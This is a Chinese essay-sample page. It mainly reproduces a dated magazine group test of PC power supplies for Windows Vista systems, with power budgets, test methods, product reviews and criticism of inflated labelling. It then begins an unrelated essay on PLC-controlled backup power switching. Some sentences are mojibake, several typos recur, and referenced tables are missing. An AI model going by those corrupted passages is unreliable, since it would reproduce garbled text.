前言：中文期刊網精心挑選了pc電源范文供你參考和學習，希望我們的參考范文能激發你的文章創作靈感，歡迎閱讀。
pc電源范文1
1．配雙核更多是為了體驗Vista
Vista系統正式之后，新的操作系統對pc硬件提出更高更細致的要求，當前很大一部分用戶的電腦配置是無法達到標準要求的。在Vista風潮的影響下，雙核及多核處理器平臺也越來越受歡迎，甚至不少用戶配置一套雙核平臺，就是想完美地體驗Vista系統的魅力。
相信，為了體驗Window Vista系統，而選擇搭配雙核平臺的消費者應該不在少數!
2．Vista電源橫測更具普遍意義
電腦是由很多不同的硬件組成的，而各個部件能耗應該是隨著技術的更新而不斷變化的。然而，電源作為電腦的動力源泉，在很長一段時間內，電源規范的變化是隨著CPU的功耗變化而變化的。
目前，國內市場上流行電源標準則包括了ATXl2V 1.3、ATXl2V 2.0和ATXl2V 2.2等三個版本，其中較早的ATXl2V 1.3和2.0版電源所占據的市場份額還不少。而最新的ATXl2V 2.2版規范是Intel在ATXl2V 2.0規范的基礎上，為雙核處理器優化的一個電源版本。因此，如果選擇雙核平臺作為切入點，那么電源規范就可能被限制為ATXl2V 2.2版，這和各個電源版本在市場上的銷售情況不符合。
如果我們選擇以對電源版本沒有明確要求的Vista平臺作為切入點，那么橫向測試沒有對電源版本做出限制，這樣的測試更加具有普遍意義。
3．讓消費者走出對電源版本理解的誤區
由于消費者在選購產品時都或多或少地存在這樣一個錯誤的傾向――那就是認為“電源的版本越新，品質就會越好”。然而，事實上是電源品質的好壞與電源版本沒有必然聯系。
在作這個結論之前，我們的記者也采訪了許多來自廠商方面的專家及Intel亞太地區負責電源技術的工程師，他們都給與了我們同樣的答案，那就是“我們不能簡單地斷定低版本的電源一定比高版本的電源差”。
然而，消費者在購買電源時，銷售商卻經常以高版本的電源作為賣點，特別是每每到了新電源版本之后，這一情況就更加嚴重。所以，我們希望能夠通過一個不限制電源版本的橫向測試，讓消費者明白“電源品質的好壞與電源版本沒有必然聯系”。
基于以上三點，做“Vista平臺電源”的橫向測試比做“雙核平臺(ATXl2V2.2版)電源”更意義，也更加貼近電源市場狀況以及符合用戶的需求，我們何樂而不為呢?
二、Vista平臺對電源有什么要求
要“尋找最好的Vista平臺”電源，那么，Vista平臺到底對電源有什么要求呢?
1．Vista平臺的最低要求
右面是微軟聯合Inter AMD(ATi)、nVIDIA等上游廠商所公布的Vista對計算機硬件的最低配置要求：
從這份僅僅是最低配置的清單來看，windows Vista對硬件的要求將十分苛刻。當然，即使用戶的機器配置低于這一要求，也并不意味著無法安裝和運行windows Vista，只不過是某些特效無法顯示出來而已。
2．多大功率才能“填飽”Vista平臺
下面是目前中低端電腦平臺的功耗統計，如果按照windows Vista系統對硬件的最低要求搭配一套平臺，平臺的最低功耗則約為(60+50+25+25+30+30+2.5+2.5)=225w，那么搭配一套Vista平臺，電源額定功的最低耗標準應該為250w。
以上的功耗只是個約數，是采用最大值的方式進行，也就是說會對各個電腦部件在滿負荷功率時的功耗進行計算，所以只是作為一個參考，估算一下電腦到底需要多大助率的電源。下面是不同等級的硬件平臺在Vista系統下進行的測試，所得到的Vista系統對電源功率的要求。
從這個簡單的測試中，可以看出Vista平臺的功耗至少要在250w以上。根據這些數據，我們來分析一下各部分功耗情況：
CPU部分
入門級的Intel的賽揚D系列或AMD的閃龍3000+以上的CPU即可，它們的功耗都在75w以上，超頻后功耗就更大了；而高端的65nm CPU雖然初始功耗可以維持在65w水平，但超頻或滿負荷運行時功耗是容易超過100w的。所以，不管那個級別的Vista平臺，CPU部分的供電都是我們要看重的。而+12V(或雙路+12V)輸出能力都是特別重要的。如果CPU滿載以150w為標準，那么+12V輸出就應該在13A以上。
顯卡部分
入門級顯卡的功耗并不是特別高，不需要額外的供電支持，所以初級Vista平臺并不需要電源提供6Pin的PCI E接口；一股而言，顯卡接口本身所能提供的最大功耗大約在50w左右，而Vista勝任級Vista平臺的顯卡功耗通常都超過50w，這時就要求電源支持PCI－E輔助供電。
主板部分
除了本身功耗外，還要考慮內存、聲卡、網卡等周邊設備的功耗，主板功耗一般在60－100w。這部分功耗主要是有+5V和+3.3V輸出所提供的，如果周邊設備較多的Vista平臺，就要求這兩路輸出的總功耗在100w以上。
三、我們如何保證測試的公正性
由于本次橫向評測，我們沒有對電源的版本進行限制，那么該如何去對功率不同且版本不同的電源進行比較呢?這是一個關系到整個橫向測試是否公平的問題。
1．按額定功率的不同分組
如果說一款額定功率250W的電源能帶動的平臺，那么搭配更高功率的電源一般不會存在什么問題。反之，對于額定功率較低的產品，我們并不能說它的性能就不過關。對于不同功率等級的電源而言，對比輸出能力的是有沒有意義的。所以，我們參照Intel已經頒布的ATXl2V 2.0或2.2版中規范，將根據送測電源的額定功率分為250組、300W組、350W組、400W以上組等四個檔次。
2．不同電源版本間如何對比
一般而言，消費者購買電源通常是先確定電源的功率，然后再選擇最適合的電源版本。而剛才我們也說過“電源品質的好壞與版本沒有必然的聯系”。所以對于電源版本并必要進行區別對待，而我們要做的只是給不同版本的電源模擬一個公平的工作環境就可以了。
ATXl2V 1.3、2.0和2.2版規范，三者之間最大的問題在于ATXl2V1.3版不是雙路12V輸出設計，而另兩種規范則是雙路12V輸出。雖然ATX電源規范之間存在不同，但后續版本具有一定的向前兼容能力的(也就是說，符合ATX12V 2.2版規范的電源也會ATXl2V 2.0規范要求，而符合ATXl2V 2.0規范的也能滿足ATXl2V 1.3版要求)，所以在對ATXl2V 2.O和2.2版電源的雙+12V 輸出合計為單路輸出。
3．我們模擬的電源工作環境
右側是我們在各組電源對比測試中所采用的工作環境(其中，各組環境的輸入電壓均為220V的市電)：
4．我們的測試項目
功率值和功率因數
功率是電源的首要指標。在直流狀態下，功率=電壓×電流，但是電源并非一個純電阻設備，電源的各路輸出之間采用的是聯合的輸出模式，它們是不可能同時達到各自標稱的最大值的，所以我們并不能直接地通過銘牌上所標注的電流電壓值來判定電源的功率。雖然，絕大部分電源都在電源銘牌上標注其額定功率或最大功率，但是否和實際功率相符，這就需要我們用儀器去檢驗了。
我們采用的是“FA-828ATE”多功能電子負載儀，該儀器可以模擬電源的真實工作環境，通過實際的負載來檢測電源的功率值、功率因數、動態電壓和過流保護等。
我們通過讓電源工作在指定的負載環境中，測試電源存該模擬工作環境下的各項參數，然后記錄電源在不同負載下的功率因數。
電源轉換效率
通過PM100功率分析儀記錄電源在輕負載、典型負載、全負載等三種狀態下的輸入和輸出功率，然后將輸出功率除以輸入功率，就得到了電源的轉換效率值。測試電源的轉換效率，其意義在于能了解電源能為用戶節省多少電費，這是ATXl2V標準中衡量電源優劣的一個重要參數。
噪音測試
隨著人們環保意識的提高，電源是否靜音已經成為消費者選購電源的一項重要的標準。由于很多電源都支持智能溫度控制技術，其是可以根據功耗的人小調扇轉速，從而控制電源的溫度，風速越快，噪音通常也就越大。也就是說，電源的功率越大，噪音就越大。我們在本次橫向測試中，通過在將電源放置于密封的無響室中，讓電源工作在100W負載狀態下，測試其風扇的噪音。
待機功耗測試
待機功耗是電源連接上市電，并連接好一切用電設備(如板卡、存儲設備、鍵盤、鼠標以及USB設備等)后，在不啟動的情況下電源所輸出的功率值。這項功能夠為用戶提供了大量方便的同時，也造成了大量的能源浪費，而待機功耗越小，電源就能為國家和用戶(特別是網吧業主)節省不少的電能消耗。
其他測試項目
以上的測試項目是我們無法用肉眼來觀察得到的電源內在品質，除了這些硬性指標外，我們還需要綜合地加入一些常規的測試，如拆解觀察用料及做工、接口是否能夠滿足Vista平臺需求以及電源的價格等等。
5．我們采用的評判標準
本次橫向測試遵照的標準有兩個：測試結果通過IntelATXl2V版本規范所規定最低要求的電源為合格產品，而通過《中國節能產品認證技術要求》 (簡稱節能認證)的電源則為優秀產品。
250W組
HKC ATXL-250+CE+PFC電源在銘牌上的標注非常詳細，上面包括了電源的額定功率、各線路輸出的最大和最小電流值，而且還清晰地標注了這款電源符合Intel12V 2.2版規范，銘牌實標方面值得贊賞。這款電源采用了12cm風扇散熱，內部配合兩塊厚實的散熱片輔助散熱，用料方面也讓人滿意。性能測試方面，這款電源在待機功耗及噪音方面表現不錯，但在轉換效率上表現一般。
這款DLP－430A電源最特別之處在于采用了主動式PFC，支持寬幅輸出，這對于一款定位在中低端市場的電源來說，實在讓人稍感意外。接口方面，電源提供了較為齊全的接口，具備4個D型接口和2個SATA接口。拆開電源可以看到，電源的PCB布局比較成熟，各路元件電路都齊全。性能方面，這款電源整體表現相當出色，完美通過節能標準，轉換效率也接近ATX12V 2.2版建議水平，盡管我們測試得到的待機功耗與銘牌上標注的有出入，但綜合各項因素我們決定將“編輯選擇”的獎項授予它。
全漢精靈是符合ATX12V 2.2規范，功率為250W。該電源最大的特點是采用主動式PFC設計，在市場上200元級電源中較為少見。從實際的拆解測試中，發現采用主動式PFC設計之后內部電路更加簡潔。性能測試中，在功率因數上，額定功率較低的精靈王并沒有能發揮主動式PFC在原理上的優勢，不過還是比被動式PFC電源高出不少；而轉換功率和待機功耗方面，這款電源通過7中標節能認證標準，靜音效果也相當不錯。綜合來說，這款電源性價比相當出色，我們決定授予其“編輯選擇”獎。
DLP－410A電源是多彩主推的“超霸節能版”系列產品之一。作為入門級產品，符合最新為ATX12V 2.2版規范，額定功率為250W。電源采用12cm靜音風扇進行散熱，能夠保證電源散熱效能。拆開電源內部，可以看到這款電源具有完整的EMI濾波電路、雙470uF高壓濾波電容、被動式PFC及各路保護電路齊全，做工用料方面比較實在。性能測試方面，不同狀態下的功率因數表現不錯，轉換效率介于ATXl2V 2.2標準的最低和建議標準之間，電源的靜音效果令人滿意。
這款勇敢者CF-300A電源采用ATXl2V 1.3標準設計，其中+12V輸出為14A，+5V和+3.3V輸出分別為18A和14A。這款電源在銘牌上并沒有標明額定功率，讓人感覺有些失望。拆解部分，這款電源配備了完整的兩級EMI濾波電路和真材實料的被動式PFC，而且各個元件布局整齊有序，內部整體用料基本讓人滿意。從測試的成績來看，盡管沒有通過中標節能要求，但成績已經十分接近，而售價僅為128元，整體來看，這是一款不錯的入門級電源。
康舒E2 Power 340電源遵循Intel最新的ATXl2V 2.2版標準，額定功率為230W。在電源的銘牌上我們可以看到，康舒E2 Power 340電源通過了多種認證。雙路+12V輸出可分別達到14A和16A，在同一級別電源中可算是相當強勁，完全可以應付雙核CPU的需要。內部做工方面，康舒E2 Power 340電源在用料上的表現比較中規中矩。性能測試中，這款電源在待機功耗及噪音方面表現比較突出，轉換效率在ATXl2V 2.2規范最低和建議標準之間；在節能認證方面，滿載時沒有通過75％標準，稍微有些遺憾。
金河田JHT-S398節能雙核電源標稱的額定功率為250W，最大功率為350W，采用12cm大口徑風扇散熱設計，雙路12V輸出分別為8A和14A，+5V和+3.3V輸出分別為18A和17A，聯合功率最大為115W，能滿足主流Vista平臺需求。接口方面，提供2個串行電源接口和3個D型接口。性能方面，滿載時待功率因數表現出色，待機功耗及靜音效果都讓人滿意，遺憾的是轉換效率沒有達到75％的節能標準。綜合來看，這款電源是一款相當不錯的ATX12V 2.2電源。
勇敢350A電源是采用ATXl2V 1.3版規范設計，黑色外觀，整體有起來 簡潔大方。散熱方面，采用8cm風扇設計搭配大面積網孔，散熱設計值得肯定。內部做工方面，元件排列整齊，完整的EMI電路及兩塊厚實的散熱片，用料還是值得肯定的。不過遺憾的是，電源銘牌并未標注額定和最大功率，從功率值測試來看，這應該是一款額定功率在250－300W的電源，從功率因數、轉換效率、待機功耗以及噪音等方面的測試結果來看，這款電源的性能表現非常接近于中標節能認證標準，性價比方面還是不錯的。
PP355WHD是大水牛主打低端市場的入門產品，符合ATXl2V 2.2規范。PP355WHD使用了完整的兩級EMI濾波電路，設計上中規中矩，做工表現則保持了大水牛電源的一貫風格。這款的銘牌標注很詳細，額定功率為250W，值得肯定。性能方面，轉換功率通過ATXl2V 2.2最低標準，負載下功率因素通過節能認證標準，待機功耗和噪音方面表現令人比較滿意；遺憾的是全自載狀態下轉換效率稍稍低于75％，沒能通過節能認證。
榮盛達黃金甲375電源外觀樸素，設計也基本上以滿足入門級用戶的實際運用需求為標準，所以提供的接口不算豐富，提供了1個20+4Pin兼容式接口、3個D型接口和1個SATA接口。電源在銘牌處只標注了最大功率為350W，沒有單獨標出額定功率，消費者在實際選購時可能會產生疑惑。在實際測試中發現，這款電源通過了ATXl2V 2.2規范測試，節能方面表現一般，而待機功耗高達5.9W，與其標注的“待機功率不大于0.5W”有著較大的差異。
TXL－300+CE+PFC與ATXL－250+CE+PFC最大的區別在于電源的額定功率上，這款電源的額定功率達到了300W，與它們各自型號中的數字標識是一致的，不存在任何誤導消費者的嫌疑，而銘牌上各項參數也進行了詳細的說明。在銘牌實標方面，HKC電源作了很好的表率。接口能滿足大眾需求，但沒有提供6Pin顯卡接口，稍感遺憾。測試方面，該電源通過ATXl2V 2.2規范最低標準，待機功耗和噪音方面表現不錯，滿載時功率因數符合國家節能標準，但是全自載和輕女載下，轉換效率沒有通過國家節能標準。
Tt KK400K電源是金剛系列中功率最低的產品，額定功率為300W，采用ATXl2V 2.2版規范設計，其中雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出則為18A和17A，5Vsb輸出則為2A。電源采用灰黑色高硬度的鋼板外殼搭配12cm大口徑風扇，感覺十分穩重，電源的輸出線路使用蛇皮線包襄主線，輸出接口豐富齊全，對Vista平臺的支持較好。內部做工方面，電源電路設計合理嚴謹，用料扎實。測試方面，該電源通過ATXl2V 2.2規范的最低標準，但距離國家節能標準還有一定距離。
該電源采用ATXl2V 2.2規范設計，鑫谷作為銘牌實標的倡導者，電源銘牌標注非常規范。其中，電源的額定功率為300W，雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出均達到20A，5Vsb輸出則為2.5A，輸出能力值得肯定。輸出接口方面，提供2個SATA和1個PCI-E供電接口，對Vista平臺的支持較好。測試方面，該電源通過ATXl2V 2.2規范的最低標準，滿載的功率因數符合國家節能標準，但遺憾的是轉換效率沒有通過國家節能認證規定的75％標準。
JHT-S498電源是金河田目前主推的“節能大師”產品，送測的這款電源是JHT－S498雙核靜音版，采用ATX12V 2.2版規范設計，額定功率為300W，雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出達到了20A。輸出部分，提供了三腳供電接口，符合節能設計需求，提供4個D型和2個SATA接口，能滿足主流Vlsta平臺需求。性能測試方面，這款電源表現優秀，完美地通過最新的中標節能標準，而待機功耗僅為1.26W，是本次橫向測試中表現最突出的一款，所以我們以“編輯選擇”的方式推薦給大家。
航嘉冷靜王鉆石2.2版電源是之前1.3版電源的升級產品，額定功率都為300W。從電源銘牌上看，這款電源已經符合ATXl2V 2.2版標準。接口方面，冷靜王鉆石2.2版電源提供3個D型接口、4個SATA供電接口，支持8Pin主板供電接口(可拆2個4Pin)和1個6pin顯卡供電接口，能較好地滿足目前主流vista平臺要求。從測試結果來看，這款電源在滿自載下功率因數遠高于CCEC規定的0.73標準，不同自載下轉換效率也完美地通過了國家節能標準，表現相當搶眼，因此我們決定授予其“編輯選擇”獎。
350W組
和速核530pQ一樣，連核530PE也是鑫谷目前主推的“速核”系列的電源之一，該電源采用ATXl2V 2.2規范設計，額定功率為350W，雙路12v的輸出能力分別為10A和15A，而+5V和+3.3V輸出分別為21A和22A。輸出部分，采用(20+4)+8+4Pin輸出接口設計，提供2個SATA和1個PCI－E供電接口，接口兼容能力很出色。在實際性能測試中，該電源通過ATXl2V 2.2規范標準，從不同自載下的功率因數值來看，電源對市電利用率比較出色，轉換效率上表現一般，而待機功耗和噪音方面表現有待提高。
先馬超光靜音版電源采用ATXl2V 2.2規范設計，額定功率為350W，雙路12v的輸出能力分別為10A和13A，+5V和+3.3V輸出分別為10A和20A，5Vsb輸出則為2.5A。該電源采用(20+4)+8+4Pin輸出接口，提供2個SATA和1個PCIE供電接口；各路輸出線均采用高檔的蛇皮網包襄，拆解電源后，可看到其內部用料也相當豪華，做工用料方面值得肯定。在實際的性能測試中，該電源通過ATXl2V 2.2規范標準，從不同負載下的功率因數值表現不錯，而滿載和典型負載下電源的轉換效率符合節能標準。
全漢黑旋風450電源型號為FSP350－60GLA，采用主動PFC電路設計，額定輸出功率為350W，符合Intel ATXl2V 2.2版規范，雙路+12V電力輸出分別為10A和13A，而+5V和+3.3V輸出分別為12A和20A，5Vsb輸出最大可達3.5A。黑旋風450提供(20+4)Pin+8Pin主輸出接口，提供2個SATA和1個6Pin供電接口，其中各項輸出線均用黑色尼龍網包襄，配合黑色外殼，整體視覺效果很好。性能方面，得益于主動式PFC設計，電源的功率因數表現不錯，轉換效率和待機功耗也通過了國家節能標準，性能表現優秀。
先馬超影450電源采用ATXl2V 2.2版規范設計，型號為ATX 330－3，額定功率為350W，最大功率為450W，電源的各路輸出和超光靜音版是一致。外觀方面，該電源采用的是0.8mm SECC外殼搭配12cm靜音大風扇，大面積的散熱網孔，效果設計合理。接口方面，提供(20+4)+8+4Pin主輸出接口，提供 2個SATA和1個6Pin供電接口，能較好地滿足主流Vista,平臺的需求。性能測試方面，在不同負載下電源對市電利用率較好，但節能及噪音方面表現一般，沒有能通過最新的節能標準。
榮盛達巨浪480S采用ATXl2V 2．2規范設計，最大的特點是采用主動式PFC設計，在300元以內的電源產品是比較少見的。電源銘牌方面，只標示了最大功率值，并沒有標注額定功率。接口方面，提供8Pin服務器，7個D型接口和2個SATA接口，但沒有提供顯卡專用接口，比較遺憾。從實際的測試上看，得益于采用主動式PFC設計，功率因數表現不錯；轉換效率上，輕負載環境下沒通過ATXl2V 2.2規范；而待機功耗方面，和國家節能規范還有一定距離。
400W以上組
大水牛牛魔王電源的額定功率為400W，各項標稱輸出電流符合ATXl2V2.2規范，其中雙路12V輸出分別為14A和13A，+12V輸出功率可達264W，+3.3V和+5V輸出均為20A，輸出能力能滿足高端Vista,平臺需求。這款電源采用高檔的0.8mm鍍黑鈦外殼搭配12cm風扇的設計，感覺很高檔；內部做工用料方面，也另人滿意。性能測試方面，電源的市電的利用效率令人滿意，輕載和典型自載下轉換效率表現不錯，不過滿載時沒能通過CCEC規定的75％，稍微有點遺憾。
多核DH6是航嘉針對雙核平臺設計的一款電源，它標稱額定功率為400W，各項標稱輸出電流符合ATXl2V 2.2規范。接口方面，DH6提供了3個D型4Pin設備接頭，但提供了 6個SATA和2個6Pin顯卡接口，方便玩家組建雙卡平臺。性能方面，這款電源輕載和典型負載時功率因數均超過了0.8，而不同狀態下的轉換效率完美地通過國家節能標準，值得一提的是，這款電源是本次測試中唯一一款到達ATXl 2V 2.2推薦標準的產品，盡管噪音方面表現一般，但整體看來也是本次參測產品中表現最突出的一款。
長城雙卡王BTX－500SD電源是款針對高端平臺發售的產品，采用ATXl2V 2.2版標準設計，輸出線采用蛇皮網包裹，提供4個SATA和1個6Pin顯卡輔助電源接口，接口兼容能力不錯。做工方面，主動PFC控制芯片通過獨立的PCB板安插，整體用料豪華。性能方面，得益于主動式PFC設計，電源在不同狀態下對市電的利用率都非常高，不同狀態下的轉換效率均完美通過國家節能標準并且非常接近ATXl 2V 2.2規范推薦級要求，而待機功耗和噪音方面表現也很令人滿意。綜合來看，這款電源是本次測試中相當優秀的產品。
金剛KK500電源由Tt專門針對DIY用戶和超頻玩家而量身定做的，符合ATXl2V 2.2和EPSl2V規范，額定功率為400W，最大功率為500W，雙組+12v電路輸出能力分別為14A和15A，+3.3V和+5V輸出別高達30A和28A。在線材和接口方面，每條線材都以加網套束線來保護，提供了20+4Pin主電源接口、2個PCI－E和4個SATA接口，接口擴展能力非常出色。性能測試中，輕自載和典型自載下表現出色，但全自載狀態下沒有通過節能要求，待機功耗和嗓音的表現距離優秀還有一定距離。
四、我們對于電源橫向測試的五個觀點
電源制造工藝值得肯定
從本次24款參測電源來看，除了極個別采用差異化設計的產品外，絕大多數產品都能穩定地運行在ATXl2V規范要求的范圍內。從拆解測試的情況來看，做工及用料方面，絕大多數電源都選用了品質較高的元件，所有電源都符合國家3C強制認證要求。
功率因數，考驗的是電源對市電的利用率。從測試結果來看，總體狀況是比較讓人放心的，在全負載狀態下只有少數幾款電源沒有到到中標節能認證“高于0.73”的要求。此外，采用主動式PFC設計的電源的功率因數通常較高，當然價格也普遍比同規格的被動式PFC電源高。
根據《中華人民共和國環境噪聲污染防治法》的規定，以居住、文教機關為主的區域，晝間噪音低于55dBA、夜間低于45dBA。從測試成績來看噪音控制方面整體表現出色。這也得益于大口徑風扇和智能風速控制技術的普及，本次噪音測試的結果令人滿意。
待機功耗問題普遍存在
節能，其內容包括功率因數、轉換效率以及待機功耗等三個部分。其中，在功率因數方面，所有的電源產品都是讓人放心的。但是，通過本次測試，我們發現參測產品在轉換效率和待機功耗方面表現并不令人滿意。
1．達到優秀標準的產品不多
本次參測電源在轉換效率，能夠完美達到ATXl2V 2.2規范建議標準的電源只有航嘉多核DH6一款；而在待機功耗、轉換效率及功率因數方面，能夠完美通過節能認證的產品也僅7款。從數量比例來看，優秀的產品并不多，但以“節能”為賣點的產品卻不在少數!有理由相信，這是有欺騙和誤導消費者嫌疑的。
2．為什么待機功耗問題嚴重
在待機功耗方面，低于中標節能認證標準的共有12款，僅占整體的50％，而待機功耗在3－5W之間的共有10款，而更有甚者超過了10W。對于待機功耗的不重視，已經不只是某一家廠商的問題了，而是整個電源行業都比較普遍，應該引起足夠的重視。對于非個別現象，我們認為其原因主要有三個方面：
其一，在CPU頻率至上的年代，很多消費者都害怕CPU供電不足，用戶購買電源時形成了一個“功率至上”的觀念，超頻愛好者和游戲發燒友更是如此?？墒怯脩魧τ诠β蚀笮〉倪^度關注，并沒有隨時間的變化而發生轉變。
其二，由于各電源廠家的研發存在差異，研發能力出色的廠家在同等條件下設計出來的產品自然也更出色；即使設計能力相同，電源設計理念的不同，做出來的產品在待機功耗上也會存在差異。
其三，由于我國在電源的待機功耗上并沒有任何的強制性規范，在中標節能認證沒有強制實行前，電源的待機功耗尚未引起廠商和消費者的足夠重視。
相比之下，由于在3c強制認證規范作用下，電源在功率因數和轉換效率上整體的良好表現，相關法規的匱乏是導致廠家普遍不重視待機功耗的主要原因。
因此，隨著節能時代的到來，我們有足夠的理由相信，節能認證和3C認證一樣，將成為一個強制性規范。
虛標有了新花樣
在國內的電源行業中，虛標已經是一個老掉牙的問題了。最先引起人們注意的是功率虛標，在那之后，電源行業曾發起過一陣提倡“功率實標”的行動。然而，時至今日，在本次電源橫向評測中，虛標問題依然存在。不同的是，虛標更加技術化和隱蔽化。
1．虛標有哪些新花樣
進入正題之前，我們先解析一下什么叫“虛標”――在現代字典中并沒有這個詞組，只能分拆解釋，其中“虛”包含空(即虛無)和不真實的 (即虛偽)兩層意思； “標”則是指記號、商標；合起來的意思是沒有記號和商標或者不真實的記號和商標。而剛才我們所說的“功率虛標”，就屬于“不真實的記號和商標”的范疇。那么電源的“虛標”還有哪些方式呢?
峰值功率當額定功率宣傳
這是目前最為常見的一個情況，商家在銷售產品的過程中故意誤導消費者，以峰值(最大)功率來吸引消費者，而非介紹電源的額定功率，大多數消費者在對比功率數字和價格后往往為之動心。在送測的電源產品中只標明“最大功率”的產品還有不少，甚至包括一些口碑不錯的電源廠商。實際上，業界對于這種做法的默認頗讓人無奈。
命名辦式的誤導
事實上，在型號命名方面各個廠商都有自身的習慣，但產品的命名也可能導致消費者的一些誤解。比如，一款電源的額定功率只有250W，但電源的名字或型號中卻包含了300W或350W字樣，那么消費者就很容易被誤導。
電壓和電流參數虛標
通過電源的銘牌可以獲得很多信息，除了對額定功率的“執著”考究外，還有電壓或者電流的虛標可能讓消費者防不勝防，因為這樣的虛標“技術含量”更高，沒有專業的儀器測試是很難發現的。最典型的例子就是，比如某電源的單+12V電流輸出為18A，而銘牌上卻標示了雙路12V，并將電流額定輸出值標在20A以上。
功率因數及待機功耗虛標
這種虛標方式是在消費者對電源有一定認識之后，對電源提出了更高的要求后才開始流行的一種虛標方式。其中，功率因數虛標有兩層意思：一是將其數值夸大，從而給消費者制造一個高電能利用效率的假象；二是將功率因數與轉換效率混淆，這在功率因數值很高的主動式PFC電源中更加常見，但實際上兩個概念是完全不一樣的。
2．為何虛標能夠長期存在
這個問題對電源廠商而言，是非常敏感的。不過，就目前的情況來看，在電源行業中還普遍存在著不同程度的虛標問題，造成這樣局面的原因有很多，主要的原因有以下四個方面：
首先，目前我國沒有任何的法律規范。對電源產品的參數進行相關的規范，而3C強制認證更多只是對產品的安全性做了要求。嚴格來說，它并不是電源質量過關的標準。而我國相關行政部門的執法力度的不嚴格，也給了一些不良廠商“打球”留下了空間。
其次，由于電源的技術門檻相對較低，一些比較急功近利的廠商利用消費者對電源知識的不了解，杜撰出許多虛假的技術概念誤導消費群體，比如將功率因素與轉換效率混為一談就是其中的典型。
此外，還有一個是銷售市場方面的原因，那就是虛標之后商家可以多賺錢，所以一些不法的商給上游的廠家施加壓力，要求虛標。
最后一個原因則是廠商方面的。對于對自己產品有信心和對消費者負責任的廠商而言，標注實際功率不是問題，因為他們本身就是這樣做的。但對于一些對自己產品本身可能存在功率不達標，沒有信心的廠商則可能會選擇不標示實際功率。
值得一提的是，在上述四個方面因素是相互影響的，廠家對虛標問題敏感是因為他們處于整個關系網絡的中心。從我們媒體的角度來看，他們既是既得利益者，同時又是受害者，此外還是始作俑者；而作為受害的消費者，在某種意義上而言，其實也是虛標問題的始作俑者。
因此，要解決這個問題，需要各方面的努力硬配合，也包括媒體的監管及傳播力量，這正是我們提出這個話題的初衷。
一味炒作高電源版本是在誤導消費者
而我們本次參加橫向測試的24款電源產品中，其中有22款為ATXl2V 2.2版，而另外2款則為ATXl2V 1.3版，沒有ATXl2V 2.0版規范電源參加本次測試，所以我們不能通過數據的對比來衡量不同的電源版本之間的差異，這給我們回答這個問題帶來了一定的困難。
1．我們的“自圓其說”及專家觀點
從版本的角度，我們可以發現，ATXl2V 1.3版電源與ATXl2V 2.2版電源在性能方面，比如功率因數、轉換效率、待機功耗、噪音等方面進行對比，ATXl2V 2.2版電源并不一定比ATXl2V 1.3片反更加強大。當然，單從本次測試結果就能說明“電源品質的好壞與版本沒有必然的聯系”，理由顯得單薄了一些。但是，對于我們開始時提到的――認為“電源的版本越新，品質就會越好”是一個錯誤的選購觀念，現在看來，至少我們已經能夠“自圓其說”。
在沒有更充足的數據之前，我們就這個問題采訪了電源的相關專家，在談到“與之前的版本相比，在低功耗CPU平臺上，ATXl2V 2.2版電源有何優勢?”這個問題時，該專家表示，“我們不能簡單地斷定低版本的電源一定比高版本的電源差，我們認為‘適用的才是最好的’，因為電源規范的演變是與系統平臺的功耗息息相關的，而ATXl2V 2.2版電源規范的出臺主要是為了應對奔騰DCPU對+12V電流超過20A的需求而制定的(此外是增加了+5VSB的輸出)。隨著CPU功耗的降低，ATXl2V 2.2版規范正逐漸失去在低功耗CPU平臺上的現實意義?！迸c此同時，我們還采訪了電源行業的其他專家，得到的答案也基本上是一致的。
2．ATXl2V 2.2版規范并非王道
從目前的情況來看，ATXl2V 2.2版電源規范并沒有充分考慮顯卡的功耗需求(最突出的表現譬如nVIDIAGeForce 8800高功耗顯卡平臺推出之后，電源對顯卡輔助支持的窘迫就一覽無遺了)，同時兼顧高速硬盤與光驅對穩定電流的需求，以及數碼外設產品對+5VSB的電流供應需求。
不可否認，Intel推出ATXl2V 2.2版電源規范的初衷，的確是為了解決不斷增長的CPU功耗，ATXl2V 2.2版電源規范的不足，主要表現在沒有考慮顯卡等其他配件的功耗發展水平，而且與Intel的產品推廣步伐不一致，奔騰D處理器的推廣現在可以說是Intel的一個敗筆，可嘆的是很多廠商盲目地跟進炒作ATXl2V 2.2版，進一步誤導了整個消費市場。
另外，比較有意思的是，對于一直不斷增加的CPU功耗，由于更先進制程工藝的到來，入門級電腦的功耗已經越來越低，而在ATXl2V 2.2版規范中最低的功耗標準只有250W；再加上之前幾乎所有的ATX電源規范，無一不是為了解決CPU功耗問題而進行升級的，這讓我們有理由懷疑Intel在定制ATX電源規范時的初衷。
我們認為，作為行業標準的定制者應該全方位地考慮標準實行后要面臨的所有問題，如果一個標準的推出只是為了解決自家產品的問題，為此而讓下游的廠商和終端的消費者來買單的話，這不是一個領導者該有的風范。
3．新的ATXl2V2.3電源規范已經來臨
所有的跡象表明，現有的電源規范已經開始跟不上了行業發展的步伐了，將規范升級至更高的版本已經勢在必行!在本期橫向評測進行的過程中，Intel亞太地區負責電源技術的工程師帶來了我們一個好消息：Inel將在近期最新的ATXl2V 2.3版電源規范。
我們已經于第一時間拿到了該技術規范的白皮書資料，下期我們將給大家帶來新版電源規范的分析報告，敬請期待。
我們對“Vista電源”的定義
根據微軟制定的《Intel桌面平臺設計指南》和目前用戶對于配置的普遍要求，我們認為一款“Vista”平臺應該具備以下特點：
1．電源必須具備250W以上的額定功率，勝任級(Vista得分在4分以上)的平臺最好在300W以上；
2．電源+12V輸出必須達到14A以上，最好是雙路+12V；如果您是數碼愛好者，經常需要使用USB接口，電源的+5Vsb輸出應該在2.5A以上，而且+5V和+3.3V,總輸出功率最好能夠達到100W；
3．接口方面，電源主輸出接口必須具備24Pin(或20+4Pin)主電源接口，4Pin處理器供電接口，2個以上SATA接口，最好能有6Pin顯卡供電接口和8Pin處理器供電接口；
pc電源范文2
【關鍵詞】備用電源自動投入PLC控制自動化
隨著科學技術水平的不斷提高，現在電力技術的理論和實際應用范圍也在不斷地拓寬，與此同時一些大中型工廠和企業對供電的質量和可靠性有了更高的要求。在很多具有一級負荷和重要的二級負荷的工廠和企業中，其發電廠或變電所通常需要有備用電源自動投入裝置，實現供電系統的自動化，以確保電力系統的快速性、可靠性和安全性。
一、對備用電源自動投入裝置的分析
備用電源自動投入裝置是當主供電電源發生故障時，將備用電源在設定時間內啟動或投入，以保障重要設備電源的供給的自動化設備。
1.1傳統備用電源自動投入分析
